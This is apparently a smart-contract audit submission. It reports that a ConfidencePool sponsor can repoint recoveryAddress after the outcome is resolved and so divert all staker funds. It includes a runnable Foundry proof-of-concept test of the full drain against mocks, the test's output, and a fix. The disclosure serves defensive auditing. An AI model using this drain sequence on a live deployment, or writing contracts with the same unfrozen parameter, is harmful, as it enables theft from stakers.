FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Staker-Verified `recoveryAddress` Can Be Mutated After Outcome Resolution, Bypassing the Staker-Reliance Protection Applied to Other Sponsor Parameters

Author Revealed upon completion

Root + Impact

setRecoveryAddress performs only two checks: onlyOwner and newRecoveryAddress != address(0). It does not check whether the pool outcome has been resolved:

function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
address oldRecoveryAddress = recoveryAddress;
recoveryAddress = newRecoveryAddress; // @audit mutable after resolution
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}

The resolution functions — flagOutcome and the claimExpired auto-CORRUPTED branch — snapshot totalEligibleStake, totalBonus, and the k=2 sums at resolution, but never snapshot or freeze recoveryAddress. The three sweep paths that consume it all read the storage variable directly:

Function Line Context
claimCorrupted ConfidencePool.sol:423 Bad-faith CORRUPTED: sweeps balanceOf(pool)entire TVL
sweepUnclaimedCorrupted ConfidencePool.sol:468 Good-faith CORRUPTED: remainder after bounty deadline
sweepUnclaimedBonus ConfidencePool.sol:506 SURVIVED/EXPIRED: unclaimed bonus/excess

The gap is a failure to apply the same staker-reliance protection to recoveryAddress that the design explicitly applies to expiry. DESIGN.md §10 states the rationale for expiryLocked:

"This protects staker reliance: once anyone has deposited against a given deadline, the sponsor cannot move it."

Stakers equally rely on recoveryAddress when deciding to deposit — it determines where their principal goes in the worst case — yet it receives no equivalent protection.

Impact

Under bad-faith CORRUPTED, claimCorrupted sets toSweep = stakeToken.balanceOf(address(this)) and transfers the entire amount to the live recoveryAddress. A post-resolution repoint diverts all staker principal plus all contributed bonus to the sponsor's chosen address. The function is permissionless, so the sponsor (or any bot) can trigger the sweep immediately.

Stakers cannot exit: withdrawals are permanently disabled once riskWindowStart seals (from UNDER_ATTACK onward). They committed capital against a specific recovery destination and have no on-chain mechanism to detect or prevent a post-resolution change.

Description

The pool design locks sponsor-controlled parameters once stakers commit capital — expiry is frozen on first stake via expiryLocked (ConfidencePool.sol:229-231), scope is frozen once the registry leaves pre-attack staging. However, recoveryAddress — which determines where 100% of staker principal goes under bad-faith CORRUPTED — is never frozen. The sponsor can call setRecoveryAddress (ConfidencePool.sol:611-618) after the outcome is sealed, and every sweep function reads the value live at call time. This lets the sponsor silently substitute the sweep destination after stakers are irrevocably locked in and the outcome is finalized.

Risk

  • Impact: High. The vulnerability allows the sponsor to divert 100% of the pool's TVL (all staker principal + bonus) to an address of their choosing.

  • Likelihood: Low/Medium. Requires a malicious sponsor, coupled with either a moderator falsely flagging bad-faith CORRUPTED (collusion) or the 180-day moderator absence backstop triggering. While these preconditions lower the likelihood, the protocol explicitly models the 180-day backstop as a valid fallback path.

  • Overall Risk: Medium. The finding highlights a severe design inconsistency in how sponsor-controlled parameters are locked, leading to a complete loss of funds under specific, documented protocol states.

Proof of Concept

Foundry PoC (1 test, self-contained, passes)

Place in test/unit/RecoveryAddressMutationPoC.t.sol and run:

forge test --match-contract RecoveryAddressMutationPoC -vvv
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
/// @title PoC: Post-resolution recoveryAddress mutation diverts staker funds
/// @notice End-to-end scenario: 3 stakers deposit 150k USDC, sponsor contributes
/// 5k bonus. Auto-CORRUPTED backstop fires after 180-day moderator absence.
/// Sponsor repoints recoveryAddress and drains 155k USDC via claimCorrupted.
contract RecoveryAddressMutationPoC is Test {
MockERC20 usdc;
MockAttackRegistry registry;
MockSafeHarborRegistry harbor;
MockAgreement agreement;
ConfidencePool pool;
address sponsor = makeAddr("sponsor");
address legitimateRecovery = makeAddr("legitimateRecovery");
address sponsorSecretWallet = makeAddr("sponsorSecretWallet");
address staker1 = makeAddr("staker1");
address staker2 = makeAddr("staker2");
address staker3 = makeAddr("staker3");
address bonusDonor = makeAddr("bonusDonor");
address triggerBot = makeAddr("triggerBot");
address constant SCOPE_ACCOUNT = address(0xBEEF);
uint256 constant DEPOSIT_EACH = 50_000e18;
uint256 constant BONUS = 5_000e18;
uint256 constant BASE_TS = 1_750_000_000;
function setUp() public {
vm.warp(BASE_TS);
usdc = new MockERC20();
registry = new MockAttackRegistry();
harbor = new MockSafeHarborRegistry();
agreement = new MockAgreement(sponsor);
agreement.setContractInScope(SCOPE_ACCOUNT, true);
harbor.setAttackRegistry(address(registry));
harbor.setAgreementValid(address(agreement), true);
registry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACCOUNT;
ConfidencePool impl = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(impl)));
vm.prank(sponsor);
pool.initialize(
address(agreement), address(usdc), address(harbor),
makeAddr("moderator"), uint256(block.timestamp + 60 days),
1e18, legitimateRecovery, sponsor, scope
);
}
function test_fullScenario_stakerFundsLostToRepointedRecovery() public {
// PHASE 1: Stakers verify recovery address and deposit
assertEq(pool.recoveryAddress(), legitimateRecovery);
_depositStake(staker1, DEPOSIT_EACH);
_depositStake(staker2, DEPOSIT_EACH);
_depositStake(staker3, DEPOSIT_EACH);
_depositBonus(bonusDonor, BONUS);
uint256 totalDeposited = DEPOSIT_EACH * 3 + BONUS; // 155k
// PHASE 2: Risk window seals — stakers can no longer withdraw
vm.warp(BASE_TS + 10 days);
registry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(BASE_TS + 15 days);
registry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
pool.pokeRiskWindow();
vm.expectRevert(); // stakers are locked
vm.prank(staker1);
pool.withdraw();
// PHASE 3: 180-day grace elapses, auto-CORRUPTED fires
vm.warp(pool.expiry() + pool.MODERATOR_CORRUPTED_GRACE() + 1);
vm.prank(triggerBot);
pool.claimExpired(); // permissionless auto-CORRUPTED
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.CORRUPTED));
assertFalse(pool.goodFaith());
// PHASE 4: EXPLOIT — sponsor repoints recovery after resolution
vm.prank(sponsor);
pool.setRecoveryAddress(sponsorSecretWallet); // no revert
// PHASE 5: Sweep sends 155k USDC to sponsor's wallet
vm.prank(triggerBot);
pool.claimCorrupted();
assertEq(usdc.balanceOf(sponsorSecretWallet), totalDeposited); // 155k stolen
assertEq(usdc.balanceOf(legitimateRecovery), 0); // 0 recovered
assertEq(usdc.balanceOf(address(pool)), 0); // pool empty
}
function _depositStake(address user, uint256 amt) internal {
usdc.mint(user, amt);
vm.startPrank(user);
usdc.approve(address(pool), amt);
pool.stake(amt);
vm.stopPrank();
}
function _depositBonus(address user, uint256 amt) internal {
usdc.mint(user, amt);
vm.startPrank(user);
usdc.approve(address(pool), amt);
pool.contributeBonus(amt);
vm.stopPrank();
}
}

Output:

[PASS] test_fullScenario_stakerFundsLostToRepointedRecovery() (gas: 650653)
Suite result: ok. 1 passed; 0 failed; 0 skipped
Total staker principal lost (USDC): 150000.000000000000000000
Bonus lost (USDC): 5000.000000000000000000
Total diverted to sponsor (USDC): 155000.000000000000000000

Tools Used

Manual review, Foundry

Recommended Mitigation

Snapshot recoveryAddress at resolution time and use the snapshot in all sweep paths. This mirrors how snapshotTotalStaked and snapshotTotalBonus are already captured at flagOutcome/claimExpired:

+ address public snapshotRecoveryAddress;
function flagOutcome(...) external onlyModerator {
// ... existing resolution logic ...
snapshotTotalStaked = totalEligibleStake;
snapshotTotalBonus = totalBonus;
+ snapshotRecoveryAddress = recoveryAddress;
// ...
}

Then in the claimExpired auto-CORRUPTED branch:

outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
+ snapshotRecoveryAddress = recoveryAddress;
claimsStarted = true;

And replace all sweep-path references:

- stakeToken.safeTransfer(recoveryAddress, toSweep); // claimCorrupted
+ stakeToken.safeTransfer(snapshotRecoveryAddress, toSweep);
- stakeToken.safeTransfer(recoveryAddress, amount); // sweepUnclaimedCorrupted
+ stakeToken.safeTransfer(snapshotRecoveryAddress, amount);
- stakeToken.safeTransfer(recoveryAddress, amount); // sweepUnclaimedBonus
+ stakeToken.safeTransfer(snapshotRecoveryAddress, amount);

This preserves the sponsor's ability to update recoveryAddress pre-resolution (the §10 trust surface) while ensuring that once an outcome is determined, the sweep destination is locked to what stakers verified.

Alternatively, the simpler one-line fix of adding if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet(); to setRecoveryAddress achieves the same protection with less code change.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!